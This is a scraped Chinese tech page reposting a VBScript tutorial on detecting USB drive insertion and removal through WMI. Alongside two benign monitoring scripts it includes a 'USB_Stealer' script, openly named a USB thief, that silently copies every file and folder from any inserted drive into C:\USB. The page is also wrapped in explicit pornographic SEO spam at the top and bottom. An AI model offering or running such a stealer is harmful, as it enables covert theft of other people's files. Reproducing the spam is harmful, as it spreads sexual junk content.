好湿?好紧?好多水好爽自慰,久久久噜久噜久久综合,成人做爰A片免费看黄冈,机机对机机30分钟无遮挡

主頁 > 知識庫 > 用VBS檢測U盤插入與彈出事件的代碼

用VBS檢測U盤插入與彈出事件的代碼

熱門標簽:加盟電銷機器人好的品牌 外呼營銷下單系統 打電話的外呼系統貴不貴 辦理膠州400電話財稅 新密防封卡外呼系統違法嗎 百度地圖標注怎么卸載 海外美發店地圖標注 前鋒辦理400電話申請 陜西高頻外呼回撥系統哪家好
可以說,對WMI的掌握程度的多少直接決定了你的VBS水平高低。看過網上普遍流傳VBS版U盤小偷程序,基本上都是靠無限循環實現的,一點技術含量也沒有,文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環,但是效率是不一樣的。

使用WMI的Win32_VolumeChangeEvent類就可以實現,下面是示例代碼,更詳細的信息請參考MSND文檔。

復制代碼 代碼如下:

Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
"{impersonationLevel=impersonate}!\\" _
strComputer "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
WScript.Echo "U盤插入,盤符為" _
objLatestEvent.DriveName
Case Device_Removal
WScript.Echo "U盤彈出,盤符為" _
objLatestEvent.DriveName
End Select
Loop

我也寫了一個U盤小偷程序,自以為比網上抄來抄去的代碼要好,感興趣的可以下載來看看。
復制代碼 代碼如下:

'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : still.demon@gmail.com
'QQ : 380401911
'Website : http://demon.tw
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder = "C:\USB"

Call Main()

Sub Main()
On Error Resume Next
Const Device_Arrival = 2
Const Device_Removal = 3
Const strComputer = "."
Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject("winmgmts:" _
"{impersonationLevel=impersonate}!\\" _
strComputer "\root\cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub

Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso = CreateObject("scripting.filesystemobject")

If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If

For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder "\" file.Name,True
Next

For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder "\" folder.Name,True
Next
End Sub

鑒于很多人反映之前寫的那篇在XP下無效,做了一下修改。說是修改,其實是直接復制粘貼腳本專家的代碼。
復制代碼 代碼如下:

strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" strComputer "\root\cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _
("Select * From __InstanceOperationEvent Within 10 Where " _
"TargetInstance isa 'Win32_LogicalDisk'")

Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 2 Then
Select Case objEvent.Path_.Class
Case "__InstanceCreationEvent"
Wscript.Echo "Drive " objEvent.TargetInstance.DeviceId _
" has been added."
Case "__InstanceDeletionEvent"
Wscript.Echo "Drive " objEvent.TargetInstance.DeviceId _
" has been removed."
End Select
End If
Loop

參考鏈接:How Can I Determine When a Removable Drive Gets Connected?
大家應該可以看出學習vbs的好地方是哪了, 學習vbs官方的網站不得不去,腳本之家很多的vbs相關的教材都是來自微軟官方的腳本專欄。
原文:http://demon.tw/programming/vbs-usb-insert-remove.html

標簽:河南 武威 伊春 四平 牡丹江 咸陽 梅州 阜陽

巨人網絡通訊聲明:本文標題《用VBS檢測U盤插入與彈出事件的代碼》,本文關鍵詞  用,VBS,檢測,盤,插入,與,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《用VBS檢測U盤插入與彈出事件的代碼》相關的同類信息!
  • 本頁收集關于用VBS檢測U盤插入與彈出事件的代碼的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 啊轻点灬大巴太粗太长了小熊| 国产高中生第一次破苞| 国产精品无打码在线播放9久 | 欧美一级精品无码片在线观看| 欧美日韩小视频| 性生生活三级视频在线观看| 久久久91精品国产一区苍井空| 日韩欧美一区二区三区在线| 女王绝美调奴vk| 西西4444WWW大胆无视频| 高h刺激小说| 女色窝人体色77777| 欧美.亚洲.日韩.另类.AV| 亚洲JIZZJIZZ中国少妇| 日本aaaa级片| 美女张开腿扒开内裤让男人桶| 精品无码亚洲一区二区三区毛片| 真人牛仔裤一级毛片| 男女被?到爽??流水电影| 操女人下面| 日本不卡一区视频| 国产精品99久久免费公侵犯玩弄| 老女人日b视频| 91美女在线观看| 欧亚美性色欧美性A片| 国产精品尤物福利片剧情介绍| 胸吻戏床戏视频| 亚洲国产精品SUV| 日韩精品一区二区在线天天恨天| 日本色影院| 少妇高潮喷水久久久久久久久| 一区二区三区杨幂在线观看| 乳大有奶水风流少妇| 奶水h圆房~h嗯啊高H文| 校花扒开??给男人玩作文| 老板一边揉秘书胸一边亲视频| 日产乱码一二三区免费公司 | 91人人视频| 国产伦子系列沙发午睡| 欧美???sex少妇740| 蘑菇短视频app免费版本下载|